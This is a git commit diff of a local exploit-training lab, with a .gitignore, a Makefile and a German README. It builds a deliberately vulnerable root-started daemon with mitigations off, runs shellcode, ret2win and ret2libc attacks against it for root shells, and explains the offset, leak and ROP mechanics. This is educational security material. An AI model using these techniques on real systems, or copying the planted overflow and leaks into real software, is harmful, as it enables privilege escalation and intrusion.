Initial commit
This commit is contained in:
commit
394e3be54d
41 changed files with 16315 additions and 0 deletions
17
wosuid/.gitignore
vendored
Normal file
17
wosuid/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
# Build products
|
||||
foowosd
|
||||
foowosc
|
||||
foowosd_hardened
|
||||
tests/pty_wosuid_test
|
||||
|
||||
# Assembly verification scratch
|
||||
shellcode.bin
|
||||
.sc_c_raw.txt
|
||||
.sc_c.txt
|
||||
.sc_asm.txt
|
||||
|
||||
# Logs
|
||||
foowosd.log
|
||||
foowosd_hardened.log
|
||||
*.log
|
||||
|
||||
368
wosuid/Makefile
Normal file
368
wosuid/Makefile
Normal file
|
|
@ -0,0 +1,368 @@
|
|||
# ============================================================================
|
||||
# Makefile -- builds the wosuid lab: foowosd (a daemon that is root because it
|
||||
# was STARTED as root), foowosc (the exploit), and the test harness.
|
||||
# ============================================================================
|
||||
#
|
||||
# make build foowosd, foowosc and the test harness
|
||||
# make run start foowosd as your NORMAL user (baseline: no root)
|
||||
# make run-root start foowosd as ROOT via sudo (the interesting case)
|
||||
# make run-root-ns start foowosd as uid 0 inside a user namespace --
|
||||
# no sudo needed; uses the same kernel path as real root
|
||||
# make status report what state the daemon is running in
|
||||
# make test technique matrix against a NON-root daemon
|
||||
# (every technique lands a shell; root expected MISSING)
|
||||
# make test-root the matrix with --must-root against a ROOT daemon
|
||||
# (every technique must now yield uid=0)
|
||||
# make verify prove the bytes in foowosc.c equal what shellcode.S makes
|
||||
# make hardened rebuild foowosd with all mitigations ON (expect failure)
|
||||
# make test-hardened show which techniques the mitigations kill
|
||||
# make stop stop the daemon (hint if it needs sudo)
|
||||
# make clean remove build products
|
||||
#
|
||||
# ---------------------------------------------------------------------------
|
||||
# THE ONE IDEA OF THIS LAB
|
||||
# ---------------------------------------------------------------------------
|
||||
# There is NO setuid bit: nothing in this directory ever chmods +s. foowosd
|
||||
# becomes root the way real daemons do -- somebody STARTS it as root
|
||||
# (`sudo make run-root`, or a systemd unit with User=root). The exploit then
|
||||
# yields `uid=0(root)` shells, because the *process* is root, and the kernel
|
||||
# honestly cannot tell "root because of the +s bit" from "root because root
|
||||
# started it". That distinction is the whole lab: memory-safety bugs in
|
||||
# privileged processes are privilege-escalation bugs, filesystem attributes
|
||||
# notwithstanding.
|
||||
#
|
||||
# make run -> ruid=euid=1000 exploit lands a USER shell
|
||||
# make run-root -> ruid=euid=0 exploit lands a ROOT shell (real)
|
||||
# make run-root-ns -> ruid=euid=0 exploit lands a ROOT shell (uid-0
|
||||
# in a user namespace; for anyone
|
||||
# without sudo, and for CI)
|
||||
#
|
||||
# Because the root state here sets BOTH real and effective uid to 0, no
|
||||
# setreuid prefix is needed in the shellcode (contrast the suid lab, where
|
||||
# the +s bit left ruid at 1000). All three techniques -- shellcode, ret2win,
|
||||
# ret2libc -- yield root when the daemon is root, and user shells when it is
|
||||
# not. The verdicts are symmetric and honest.
|
||||
#
|
||||
# IMPORTANT: the suid lab owned a root binary; this lab owns a root PROCESS.
|
||||
# The cleanup ritual matters the same way: `make stop` and do not leave a
|
||||
# root-started daemon from a vulnerable lab listening anywhere.
|
||||
# ============================================================================
|
||||
|
||||
CC ?= gcc
|
||||
CSTD := -std=c99
|
||||
|
||||
# We do NOT use -Werror: the deliberate overflow triggers
|
||||
# -Wstringop-overflow in foowosd.c and that warning is supposed to fire.
|
||||
WARN := -Wall -Wextra
|
||||
DBG := -O0 -g
|
||||
|
||||
# --- the vulnerable build -----------------------------------------------------
|
||||
# Same deliberate removals as the other two labs: no canary, no PIE, an
|
||||
# executable stack. None of them has anything to do with HOW the process got
|
||||
# root; a hardened build of this same source is still a root daemon if root
|
||||
# started it -- just a harder-to-abuse one.
|
||||
VULN := -fno-stack-protector -no-pie -z execstack
|
||||
|
||||
# --- the hardened build -------------------------------------------------------
|
||||
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
|
||||
|
||||
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
|
||||
|
||||
# Port: 2344 keeps this lab clear of food (2342) and foosd (2343).
|
||||
PORT ?= 2344
|
||||
|
||||
all: foowosd foowosc tests/pty_wosuid_test
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# The daemon and the exploit. Note the exploit builds with mitigations ON:
|
||||
# the attacker gains nothing by self-weakening, and it proves the toolchain
|
||||
# works in a hardened process too.
|
||||
# -----------------------------------------------------------------------------
|
||||
foowosd: foowosd.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
|
||||
|
||||
foowosc: foowosc.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
|
||||
|
||||
tests/pty_wosuid_test: tests/pty_wosuid_test.c
|
||||
$(CC) $(TESTCFLAGS) -o $@ $<
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# run: baseline -- the daemon as YOUR user. Useful to prove (a) the exploit
|
||||
# mechanics are independent of privilege, and (b) that without a root process
|
||||
# there is no root shell. The exploit prints exactly that warning.
|
||||
# -----------------------------------------------------------------------------
|
||||
run: foowosd
|
||||
@rm -f foowosd.log
|
||||
@echo "=== starting foowosd as $$(id -un) (NOT root; baseline only)"
|
||||
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
|
||||
disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@if pgrep -x foowosd >/dev/null; then \
|
||||
echo "=== foowosd is running (pid $$(pgrep -x foowosd | head -1))"; \
|
||||
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
|
||||
grep '\[stack\]' /proc/$$(pgrep -x foowosd | head -1)/maps; \
|
||||
echo "=== startup log line (uid/euid state):"; \
|
||||
grep startup foowosd.log; \
|
||||
else \
|
||||
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# run-root: THE interesting case. Starts the daemon as real root (sudo), so
|
||||
# the process has ruid == euid == 0 and the exploit yields uid=0(root).
|
||||
# -----------------------------------------------------------------------------
|
||||
run-root: foowosd
|
||||
@if [ "$$(id -u)" -eq 0 ]; then \
|
||||
rm -f foowosd.log; \
|
||||
echo "=== already root; starting foowosd directly"; \
|
||||
setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
|
||||
disown 2>/dev/null || true; \
|
||||
else \
|
||||
echo "=== starting foowosd as ROOT via sudo (process uid will be 0)"; \
|
||||
sudo sh -c 'rm -f foowosd.log; setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null &'; \
|
||||
fi
|
||||
@sleep 1
|
||||
@if pgrep -x foowosd >/dev/null; then \
|
||||
pid=$$(pgrep -x foowosd | head -1); \
|
||||
echo "=== foowosd is running (pid $$pid)"; \
|
||||
echo "=== process euid: $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
|
||||
echo "=== startup log line (uid/euid state):"; \
|
||||
grep startup foowosd.log; \
|
||||
else \
|
||||
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
|
||||
fi
|
||||
@echo
|
||||
@echo "=== now: make test-root"
|
||||
@echo "=== when done: make stop"
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# run-root-ns: the no-password road to a genuinely uid-0 daemon. unshare -r
|
||||
# maps your ids to 0 inside a fresh user namespace, then execs foowosd, which
|
||||
# therefore runs with ruid == euid == 0 -- the same uids the kernel hands a
|
||||
# real root process. Every syscall the exploit touches (bind, read, execve,
|
||||
# the '# id' proof) behaves identically, so this exercises the ENTIRE root
|
||||
# path with no sudo. It is a verification tool and CI-friendly; real root via
|
||||
# run-root is the production-grade final demo.
|
||||
# -----------------------------------------------------------------------------
|
||||
run-root-ns: foowosd
|
||||
@command -v unshare >/dev/null 2>&1 || { \
|
||||
echo "!!! unshare not available (util-linux); use 'sudo make run-root'"; \
|
||||
exit 1; }
|
||||
@rm -f foowosd.log
|
||||
@echo "=== starting foowosd inside a user namespace as uid 0 (no sudo)"
|
||||
@setsid nohup unshare -r ./foowosd > foowosd.log 2>&1 </dev/null & \
|
||||
disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@if pgrep -x foowosd >/dev/null; then \
|
||||
pid=$$(pgrep -x foowosd | head -1); \
|
||||
echo "=== foowosd is running (pid $$pid)"; \
|
||||
echo "=== process euid (namespaced): $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
|
||||
echo "=== startup log line (uid/euid state):"; \
|
||||
grep startup foowosd.log; \
|
||||
else \
|
||||
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
|
||||
fi
|
||||
@echo
|
||||
@echo "=== now: make test-root (and, when done: make stop)"
|
||||
|
||||
stop:
|
||||
@if pgrep -x foowosd >/dev/null; then \
|
||||
pkill -x foowosd; sleep 0.5; \
|
||||
if pgrep -x foowosd >/dev/null; then \
|
||||
echo "=== foowosd is root-owned and pkill needs privileges:"; \
|
||||
echo " sudo pkill -x foowosd"; \
|
||||
else \
|
||||
echo "=== foowosd stopped"; \
|
||||
fi; \
|
||||
else \
|
||||
echo "=== foowosd was not running"; \
|
||||
fi
|
||||
@# Also clean up a leftover hardened daemon; it would hold the port.
|
||||
@# Linux comm names are truncated to 15 chars, so -x must match
|
||||
@# 'foowosd_hardene', not the full filename.
|
||||
@if pgrep -x foowosd_hardene 2>/dev/null; then \
|
||||
pkill -x foowosd_hardene 2>/dev/null; sleep 0.5; \
|
||||
echo "=== foowosd_hardened stopped"; \
|
||||
fi
|
||||
|
||||
status:
|
||||
@if pgrep -x foowosd >/dev/null; then \
|
||||
pid=$$(pgrep -x foowosd | head -1); \
|
||||
euid=$$(ps -o euid= -p $$pid | tr -d ' '); \
|
||||
echo "=== foowosd: running, pid $$pid, euid=$$euid"; \
|
||||
if [ "$$euid" -eq 0 ]; then \
|
||||
echo "=== running as ROOT -> the exploit yields uid=0(root) shells"; \
|
||||
else \
|
||||
echo "=== running as a normal user -> the exploit yields user shells (baseline)"; \
|
||||
fi; \
|
||||
else \
|
||||
echo "=== foowosd: not running"; \
|
||||
fi
|
||||
@echo "=== binary: $$(stat -c '%A %U' foowosd 2>/dev/null || echo 'not built yet')"
|
||||
@echo "=== (no setuid bit is involved in this lab; there never is one)"
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# test: baseline matrix against a NON-root daemon. Every technique should land
|
||||
# a shell; root is expected MISSING. The verdict is pty_wosuid_test's EXIT
|
||||
# STATUS, never a grep of its output.
|
||||
# -----------------------------------------------------------------------------
|
||||
test: tests/pty_wosuid_test
|
||||
@pgrep -x foowosd >/dev/null || { \
|
||||
echo "!!! foowosd is not running. Start it first: make run"; exit 1; }
|
||||
@fail=0; \
|
||||
echo "=== ret2win (baseline: shell, root MISSING -- daemon not root)"; \
|
||||
./tests/pty_wosuid_test -t ret2win 2>&1 >/dev/null || fail=1; \
|
||||
echo "=== ret2libc (baseline: shell, root MISSING -- daemon not root)"; \
|
||||
./tests/pty_wosuid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
|
||||
echo "=== shellcode (baseline: shell, root MISSING -- daemon not root)"; \
|
||||
./tests/pty_wosuid_test -t shellcode 2>&1 >/dev/null || fail=1; \
|
||||
echo; \
|
||||
if [ $$fail -eq 0 ]; then \
|
||||
echo "=== all techniques landed shells against the non-root daemon."; \
|
||||
echo "=== To see them land ROOT shells, run the daemon as root:"; \
|
||||
echo "=== make stop && make run-root && make test-root"; \
|
||||
else \
|
||||
echo "=== at least one technique failed against the non-root daemon."; \
|
||||
echo "=== Check foowosd.log and the marker= lines above."; \
|
||||
fi; \
|
||||
exit $$fail
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# test-root: the whole point. Demands the daemon actually run with uid 0
|
||||
# (checked two ways: a running process, and the log's "ROOT process" line),
|
||||
# then runs every technique with --must-root. A clean pass means all three
|
||||
# yielded uid=0(root) shells -- root RCE with no setuid bit anywhere.
|
||||
# -----------------------------------------------------------------------------
|
||||
test-root: tests/pty_wosuid_test
|
||||
@pgrep -x foowosd >/dev/null || { \
|
||||
echo "!!! foowosd is not running. Start it first:"; \
|
||||
echo " sudo make run-root (or: make run-root-ns)"; exit 1; }
|
||||
@grep -q -- '-> ROOT process' foowosd.log || { \
|
||||
echo "!!! foowosd is running but NOT as root (see foowosd.log)."; \
|
||||
echo " Restart it as root: sudo make run-root (or make run-root-ns)"; \
|
||||
exit 1; }
|
||||
@fail=0; \
|
||||
for t in ret2win ret2libc shellcode; do \
|
||||
echo "=== $$t (must yield uid=0(root))"; \
|
||||
if ./tests/pty_wosuid_test -t $$t --must-root 2>&1 >/dev/null; then \
|
||||
echo "--- $$t: ROOT shell confirmed"; \
|
||||
else \
|
||||
fail=1; echo "--- $$t: FAILED to get root"; \
|
||||
fi; \
|
||||
done; \
|
||||
echo; \
|
||||
if [ $$fail -eq 0 ]; then \
|
||||
echo "=== ALL techniques yielded uid=0(root) shells."; \
|
||||
echo "=== Root RCE with NO setuid bit: the process was root because"; \
|
||||
echo "=== root started it. See README.md for why this is the whole point."; \
|
||||
else \
|
||||
echo "=== root escalation FAILED for at least one technique."; \
|
||||
fi; \
|
||||
exit $$fail
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# verify: prove the shellcode bytes in foowosc.c are byte-for-byte what nasm
|
||||
# produces from shellcode.S.
|
||||
# -----------------------------------------------------------------------------
|
||||
verify verify-shellcode: shellcode.S foowosc.c
|
||||
@command -v nasm >/dev/null 2>&1 || { \
|
||||
echo "verify-shellcode: nasm is not installed; skipping."; \
|
||||
echo " (Arch: pacman -S nasm)"; exit 0; }
|
||||
@echo "=== Assembling shellcode.S ..."
|
||||
@nasm -f bin -o shellcode.bin shellcode.S
|
||||
@echo "=== nasm output:"
|
||||
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||
-e 's/[[:space:]]*$$//'
|
||||
@echo
|
||||
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
|
||||
@# first (they mention hex constants like "0x3b"), then grep the literals.
|
||||
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foowosc.c \
|
||||
| sed -e 's,/\*.*\*/,,' \
|
||||
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
|
||||
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
|
||||
> .sc_c_raw.txt
|
||||
@echo "=== bytes declared in foowosc.c's SHELLCODE[] array:"
|
||||
@cat .sc_c_raw.txt
|
||||
@echo
|
||||
@echo "=== comparing ..."
|
||||
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
|
||||
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||
-e 's/[[:space:]]*$$//' > .sc_asm.txt
|
||||
@if cmp -s .sc_c.txt .sc_asm.txt; then \
|
||||
n=$$(wc -c < shellcode.bin); \
|
||||
echo "MATCH: the $$n bytes in foowosc.c are byte-for-byte what"; \
|
||||
echo " shellcode.S assembles to."; \
|
||||
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
|
||||
else \
|
||||
echo "MISMATCH -- the two differ:"; \
|
||||
diff .sc_c.txt .sc_asm.txt || true; \
|
||||
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# hardened: same source, all mitigations ON. Every technique should die at the
|
||||
# canary; the console contrast is the lesson, plus the reminder that a
|
||||
# hardened build is still a root daemon if root started it.
|
||||
# -----------------------------------------------------------------------------
|
||||
hardened: foowosd.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foowosd_hardened $<
|
||||
@echo
|
||||
@echo "=== foowosd_hardened built with the mitigations ON."
|
||||
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
|
||||
@readelf -W -l foowosd_hardened | grep GNU_STACK
|
||||
|
||||
test-hardened: hardened tests/pty_wosuid_test
|
||||
@if ! pgrep -x foowosd >/dev/null; then \
|
||||
echo "=== start the daemon first: make run (or make run-root)"; exit 1; \
|
||||
fi
|
||||
@$(MAKE) --no-print-directory stop
|
||||
@echo "### starting foowosd_hardened instead"
|
||||
@setsid nohup ./foowosd_hardened > foowosd_hardened.log 2>&1 </dev/null \
|
||||
& disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@if ! pgrep -x foowosd_hardene 2>/dev/null; then \
|
||||
echo "!!! foowosd_hardened did not start; see foowosd_hardened.log"; \
|
||||
$(MAKE) --no-print-directory stop; exit 1; \
|
||||
fi
|
||||
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
|
||||
@grep '\[stack\]' /proc/$$(pgrep -x foowosd_hardene 2>/dev/null | head -1)/maps || true
|
||||
@echo
|
||||
@for t in ret2win ret2libc shellcode; do \
|
||||
echo "=================== $$t"; \
|
||||
if ./tests/pty_wosuid_test -t $$t 2>&1 >/dev/null; then \
|
||||
echo "--- $$t: got a shell (report the ROOT= line above)"; \
|
||||
else \
|
||||
echo "--- $$t was stopped by the mitigations (as expected)"; \
|
||||
fi; \
|
||||
done
|
||||
@echo
|
||||
@$(MAKE) --no-print-directory stop
|
||||
@echo "### restoring the vulnerable daemon (same uid mode as before: run/run-root/run-root-ns)"
|
||||
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@echo
|
||||
@echo "=== mitigation contrast is above. See README.md."
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# debug: rebuild for gdb and show the first breakpoints to try.
|
||||
# -----------------------------------------------------------------------------
|
||||
debug: foowosd.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foowosd $<
|
||||
@echo "=== built ./foowosd for gdb. Try:"
|
||||
@echo " gdb -q ./foowosd"
|
||||
@echo " (gdb) break foowosd.c:345 # the read() that overflows"
|
||||
@echo " (gdb) run -p 2344"
|
||||
@echo " (gdb) info registers rsp rbp"
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# clean. Logs are left: they are your evidence.
|
||||
# -----------------------------------------------------------------------------
|
||||
clean:
|
||||
rm -f foowosd foowosc foowosd_hardened shellcode.bin
|
||||
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
|
||||
rm -f tests/pty_wosuid_test
|
||||
@echo "=== cleaned. (foowosd.log / foowosd_hardened.log are left alone.)"
|
||||
|
||||
.PHONY: all run run-root run-root-ns stop status test test-root verify \
|
||||
verify-shellcode hardened test-hardened debug clean
|
||||
325
wosuid/README.DE.md
Normal file
325
wosuid/README.DE.md
Normal file
|
|
@ -0,0 +1,325 @@
|
|||
# Das `wosuid`-Labor — Root-RCE **ohne** Setuid-Bit
|
||||
|
||||
```
|
||||
foowosd ein absichtlich angreifbarer Daemon, der root ist, weil er als
|
||||
root *GESTARTET* wurde (Port 2344, standardmäßig nur Loopback)
|
||||
foowosc der Exploit: verwandelt einen Stack-Overflow in eine **root**-Shell,
|
||||
indem er Shellcode ausführt — dieselben 23 Bytes, mit denen der
|
||||
User-Level-`food`-Daemon im übergeordneten Labor geknackt wurde
|
||||
```
|
||||
|
||||
Das ist das dritte Labor der Reihe. Gleiche Exploit-Toolchain, gleicher Stil,
|
||||
ein fundamentaler Unterschied:
|
||||
|
||||
| Labor | wie der Zielprozess root wird | `uid=0(root)`-Shell? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc| nie — es ist ein gewöhnlicher User-Daemon | nein |
|
||||
| foosd/foosc | das SUID-Bit (`chmod u+s`) — euid 0, ruid 1000 | ja (braucht `setreuid` im Shellcode, weil bash euid→ruid zurücksetzt) |
|
||||
| **foowosd/foowosc** | **keins — root *startet* den Daemon** (sudo / systemd `User=root`) | **ja (schlichter `execve`-Shellcode)** |
|
||||
|
||||
Das Setuid-Bit ist ein *Transportmittel* für Privilegien — nicht die
|
||||
Privilegien selbst. Ein von root gestarteter Daemon hat reale, effektive und
|
||||
gespeicherte uid alle gleich 0. Für den Kernel ist das root, Punkt; es kann und
|
||||
will nicht wissen, ob der Prozess über `+s` an einer Datei dorthin kam oder
|
||||
über `sudo ./foowosd`. Der Overflow in einem von root gestarteten Daemon ist
|
||||
also ein Root-Exploit — *„Ich habe keine SUID-Binärprogramme" ist nicht
|
||||
dasselbe wie „Ich bin nicht ausnutzbar".*
|
||||
|
||||
Das ist die ganze Lektion dieses Labors. Alles darunter ist die Maschinerie.
|
||||
|
||||
---
|
||||
|
||||
## Schnellstart (was der Benutzer angefordert hat)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # baut den Daemon, den Exploit und die Test-Harness
|
||||
```
|
||||
|
||||
### Das Echte — den Daemon als **root** ausführen
|
||||
|
||||
```
|
||||
sudo make run-root # startet foowosd als uid 0 (Prozess, nicht Dateimodus)
|
||||
make test-root # jede Technik muss jetzt uid=0(root) ergeben
|
||||
```
|
||||
|
||||
### Kein sudo? Derselbe Kernelpfad über einen User-Namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 in einem User-Namespace — kein Passwort nötig
|
||||
make test-root # gleiche Urteile; für CI und alle ohne sudo
|
||||
```
|
||||
|
||||
### Baseline — Daemon als dein normaler Benutzer (kein root irgendwo)
|
||||
|
||||
```
|
||||
make run # foowosd läuft mit deinen uids
|
||||
make test # Exploits landen Shells, aber `root` wird als MISSING erwartet
|
||||
```
|
||||
|
||||
### Aufräumritual (immer: dies ist ein Root-Shell-Labor)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` ist *nicht* setuid, und nichts in diesem Verzeichnis macht je
|
||||
`chmod +s` — das ist der Punkt. Der gefährliche Zustand ist der **Prozess**,
|
||||
nicht die Datei.
|
||||
|
||||
---
|
||||
|
||||
## Wenn dir gesagt wird, das SUID-Bit zu setzen
|
||||
|
||||
Du wirst es **nicht** tun. Dieses Labor hat bewusst kein SUID-Bit:
|
||||
|
||||
- `foowosd` wird gebaut, gehört dir und hat reguläre Modi wie jedes andere
|
||||
Programm.
|
||||
- Es wird so root, wie es echte Daemons tun — indem es von *root* gestartet
|
||||
wird.
|
||||
- `make run-root` nutzt dafür `sudo`, und `make run-root-ns` bekommt einen
|
||||
echten uid-0-Prozess ganz ohne das.
|
||||
|
||||
Das Suid-Bit gehört dem *Schwester*-Labor (`foosd`). Der Kontrast zwischen den
|
||||
beiden ist der Lehrplan:
|
||||
|
||||
1. SUID-Labor: Das Bit gibt **euid 0, aber ruid 1000** → `execve("/bin/sh")`
|
||||
wird vom Wächter der bash herabgestuft (`euid != ruid` → Reset) →
|
||||
der Shellcode muss zuerst `setreuid(0,0)` aufrufen (32-Byte-Payload).
|
||||
2. Dieses Labor: root **startet** den Prozess → **ruid == euid == 0** → der
|
||||
Wächter hat nichts zurückzusetzen → der schlichte 23-Byte-`execve`-Shellcode
|
||||
behält root.
|
||||
|
||||
Gleicher Overflow. Gleiche Technik. Anderer *Ursprung* der Privilegien, andere
|
||||
Payload-Form. Das ist die Lektion in Miniatur.
|
||||
|
||||
---
|
||||
|
||||
## Das Protokoll
|
||||
|
||||
Egal welche Art Client sich verbindet, foowosd begrüßt ihn mit:
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (das Banner + die Leaks)
|
||||
BUF=0x7ffd… (die Pufferadresse)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` ist der *„bin ich root?"*-Seitenkanal. foowosc druckt eine
|
||||
laute Warnung, wenn euid nicht 0 ist (d. h., du hast den Daemon als normalen
|
||||
Benutzer gestartet): Der Payload landet trotzdem, aber die Shell wird eine
|
||||
Benutzer-Shell sein, und den Exploit „kaputt" zu nennen wäre falsch — er
|
||||
eskaliert nur eben nicht.
|
||||
|
||||
> Schreibweise-Hinweis: `ids=`, nicht `euid=`/`ruid=`. Die Test-Harness beweist
|
||||
> ein lebendes `id`, indem sie die wörtliche Form `uid=NNN(` matcht, daher darf
|
||||
> das Banner nie einen Teilstring enthalten, der selbst die Prüfung erfüllt.
|
||||
> (Im SUID-Labor erzeugte genau diese Falle ein spektakuläres Fehlpositiv.)
|
||||
|
||||
---
|
||||
|
||||
## Die Exploit-Techniken (`foowosc -t …`)
|
||||
|
||||
Alle vier Exploit-Pfade unten funktionieren gegen foowosd. Wenn der Daemon
|
||||
root ist, ergeben **alle, die irgendetwas spawne, root** — anders als im
|
||||
SUID-Labor, wo ret2win/ret2libc vom bash-Wächter still auf uid 1000
|
||||
herabgestuft wurden. Hier gibt es keinen Mismatch, gegen den es zu wachen
|
||||
gälte.
|
||||
|
||||
| `-t` | was passiert | wenn der Daemon root ist |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | 23-Byte-`execve("/bin/sh", NULL, NULL)` läuft auf dem Stack. | **root-Shell** (Standard) |
|
||||
| `ret2win` | Sprung zu `win()` → `execl("/bin/sh")` | **root-Shell** |
|
||||
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-Shell** |
|
||||
| `demo` | nur Müll-Overflow — erwarte ein SIGSEGV im Daemon-Log | Absturz, per Design |
|
||||
| `leak` | druckt nur die Leaks, sendet keinen Payload | n/a |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interaktiv; Standardziel 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # senden und berichten, keine interaktive Session
|
||||
```
|
||||
|
||||
Eine erfolgreiche interaktive Session leitet dein Terminal an die Shell *auf
|
||||
dem Opfer* weiter — es gibt genau eine Shell im Bild, und es ist `/bin/sh`,
|
||||
das als root in foowosd läuft. Tippe `id`, um `uid=0(root)` zu sehen.
|
||||
|
||||
### Warum es hier keine `ret2win-root`-Technik gibt
|
||||
|
||||
foosc hatte eine — sie sprang zu einem `win_root()`, das vor dem exec
|
||||
`setreuid(0,0)` aufrief, weil ein Setuid-Prozess mit einer realen uid lief, die
|
||||
immer noch 1000 sagte. Ein von root *gestarteter* Prozess hat die reale uid
|
||||
schon 0; es gibt nichts zu leeren, also würden die zusätzliche Funktion und
|
||||
Technik nichts lehren. Entfernt.
|
||||
|
||||
---
|
||||
|
||||
## Was foowosc Schritt für Schritt tut
|
||||
|
||||
1. **Statische Analyse** — `objdump -d` von `./foowosd`. Findet
|
||||
`vulnerable_handler`, `win()`, das `lea -0x50(%rbp)`, das `buf` adressiert,
|
||||
und das erste nackte `ret`. Aus der Verschiebung berechnet es
|
||||
`rip_off = 80 + 8 = 88`. Nichts ist hart verdrahtet; das überlebt einen
|
||||
Rebuild.
|
||||
2. **Selbst-Introspektion** — liest sein eigenes `/proc/self/maps` und ruft per
|
||||
`dlsym()` `system`/`read` auf, um die libc-*Offsets* zu lernen. Die
|
||||
libc-Basis des Ziels ist `leaked_read − off_read`, dann ist
|
||||
`system = base + off_system`, usw. Diese Delta-Arithmetik ist der Grund,
|
||||
warum Exploits über libc-Versionen hinweg am Leben bleiben.
|
||||
3. **Verbinden** — liest das Banner/die Leaks (`ids=`, `stack=`, `libc=`,
|
||||
`BUF=`).
|
||||
4. **Payload bauen** — für `shellcode`: 23 Bytes Maschinencode, Padding bis
|
||||
`rip_off`, dann die gespeicherte RIP = `buf` (sodass `ret` auf den Code
|
||||
springt). Für `ret2win`/`ret2libc`: aus der Analyse berechnete Adressen —
|
||||
keine Ausführung des Stacks nötig.
|
||||
5. **Der Ausrichtungs-Fix** — ein gekapertes nacktes `ret` übergibt dem Callee
|
||||
`rsp ≡ 8 (mod 16)`, und glibcs SSE2-Code `movaps`-fault auf einem nicht
|
||||
ausgerichteten Stack (der Crash-Reporter loggt `si_addr=(nil)` — der
|
||||
Hinweis). foowosc fügt vor dem echten Ziel ein zusätzliches `ret`-Gadget ein
|
||||
und stellt die Invariante wieder her. Samthandschuh-Ingenieurkunst in einem
|
||||
Shellcode-Labor, aber es ist der Unterschied zwischen einem Payload, der
|
||||
„manchmal funktioniert", und einem, der immer funktioniert.
|
||||
6. **Senden, dann weiterleiten** — der Opferprozess *ist* die Shell; dieser
|
||||
Prozess nur splißt Bytes. Keine lokale Shell, kein zweiter Leser — der
|
||||
Single-Read-Cursor-Fehler (ein gefressenes Byte pro Block) ist in
|
||||
`become_shell()` dokumentiert.
|
||||
|
||||
---
|
||||
|
||||
## Die absichtlichen Bugs des Daemons (alle in `foowosd.c`, alle echte CWE-Klassen)
|
||||
|
||||
| # | Bug | CWE | Hinweis |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` in einen 64-Byte-Stack-Puffer | CWE-120 | der Overflow: 448 Bytes über `buf` hinaus, gespeicherte RIP bei +88 |
|
||||
| 2 | nur `snprintf(line, …, "%.*s", …)`; aber Angreifer-`%` im Echo-Pfad | CWE-134 | das Leak ist hier der eigentliche Payload; ein `%n` in einem *root*-Prozess wäre write-what-where als root |
|
||||
| 3 | Kinder behalten root, während sie unvertrauenswürdige Eingaben behandeln | CWE-271 | das korrekte `drop_privs()` (setgroups→setgid→setuid, in dieser Reihenfolge, mit Verifikation) steht in der Datei, kommentiert, *bewusst nie aufgerufen* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` an jeden Client offengelegt | CWE-200 | ohne diese Leaks könnten Shellcode- und ret2libc-Techniken keine Adressen berechnen (ASLR würde sie schlagen) |
|
||||
|
||||
Der Handler hat exakt dieselbe `buf[64]`/`read(512)`-Form wie die beiden
|
||||
anderen Labore, sodass die geteilte objdump-basierte Erkennungspipeline
|
||||
unverändert funktioniert.
|
||||
|
||||
---
|
||||
|
||||
